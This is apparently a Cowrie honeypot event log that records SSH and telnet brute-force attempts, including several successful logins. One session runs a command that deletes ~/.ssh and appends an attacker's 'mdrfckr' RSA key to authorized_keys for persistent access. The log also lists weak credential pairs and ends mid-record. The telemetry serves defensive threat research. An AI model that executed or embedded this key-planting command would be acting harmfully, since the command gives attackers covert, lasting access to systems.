{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:00.874080Z","src_ip":"158.178.141.16","session":"8dbef8694944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:01.087456Z","src_ip":"158.178.141.16","session":"8dbef8694944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:01.825929Z","src_ip":"103.219.170.37","session":"8e1ab20823e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tmp","message":"login attempt [root/tmp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:01.965680Z","src_ip":"158.178.141.16","session":"8dbef8694944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:03.183047Z","src_ip":"158.178.141.16","session":"8dbef8694944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":46308,"dst_ip":"10.17.0.5","dst_port":22,"session":"0963b6fc6019","protocol":"ssh","message":"New connection: 200.175.61.207:46308 (10.17.0.5:22) [session: 0963b6fc6019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:03.670809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:03.678409Z","src_ip":"200.175.61.207","session":"0963b6fc6019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:03.835816Z","src_ip":"200.175.61.207","session":"0963b6fc6019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang@123456","message":"login attempt [root/wang@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:04.468121Z","src_ip":"200.175.61.207","session":"0963b6fc6019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:05.621028Z","src_ip":"200.175.61.207","session":"0963b6fc6019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58626,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a9bd5dd937","protocol":"telnet","message":"New connection: 192.119.13.58:58626 (10.17.0.5:23) [session: 78a9bd5dd937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:07.130928Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":50574,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a8a4844baf","protocol":"ssh","message":"New connection: 102.223.92.101:50574 (159.203.135.109:22) [session: c1a8a4844baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:09.938713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:09.944427Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:10.118561Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.976752281188965,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:10.268901Z","src_ip":"192.119.13.58","session":"a75378e536a8","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle1234","message":"login attempt [oracle/oracle1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:10.839911Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:11.244951Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:11.249090Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:11.253570Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:11.599115Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:11.831755Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:11.835516Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:12.015755Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:12.021073Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":50576,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e11648ad3fb","protocol":"ssh","message":"New connection: 102.223.92.101:50576 (159.203.135.109:22) [session: 5e11648ad3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:12.184796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:12.189976Z","src_ip":"102.223.92.101","session":"5e11648ad3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:12.364148Z","src_ip":"102.223.92.101","session":"5e11648ad3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"4245f56db166","protocol":"telnet","message":"New connection: 192.119.13.58:51992 (10.17.0.5:23) [session: 4245f56db166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:12.830743Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:13.083553Z","src_ip":"102.223.92.101","session":"5e11648ad3fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:14.260674Z","src_ip":"102.223.92.101","session":"5e11648ad3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":50586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a241ea65e358","protocol":"ssh","message":"New connection: 102.223.92.101:50586 (159.203.135.109:22) [session: a241ea65e358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:14.428193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:14.434211Z","src_ip":"102.223.92.101","session":"a241ea65e358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:14.612729Z","src_ip":"102.223.92.101","session":"a241ea65e358","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:15.336004Z","src_ip":"102.223.92.101","session":"a241ea65e358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:15.512750Z","src_ip":"102.223.92.101","session":"c1a8a4844baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:15.518673Z","src_ip":"102.223.92.101","session":"a241ea65e358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.54312801361084,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:16.091271Z","src_ip":"192.119.13.58","session":"5d16628cb64e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.38442540168762,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:20.298746Z","src_ip":"192.119.13.58","session":"12c439a74afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24578046798706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:44.076361Z","src_ip":"192.119.13.58","session":"4245f56db166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":42230,"dst_ip":"10.17.0.5","dst_port":22,"session":"6768074396f1","protocol":"ssh","message":"New connection: 185.92.182.129:42230 (10.17.0.5:22) [session: 6768074396f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:44.878829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:44.884389Z","src_ip":"185.92.182.129","session":"6768074396f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:45.382142Z","src_ip":"185.92.182.129","session":"6768074396f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123.com","message":"login attempt [root/!@#123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:45.510556Z","src_ip":"185.92.182.129","session":"6768074396f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:46.555716Z","src_ip":"185.92.182.129","session":"6768074396f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":55188,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd67c8175531","protocol":"ssh","message":"New connection: 158.178.141.16:55188 (159.203.135.109:22) [session: dd67c8175531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:46.835454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:46.845244Z","src_ip":"158.178.141.16","session":"dd67c8175531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org",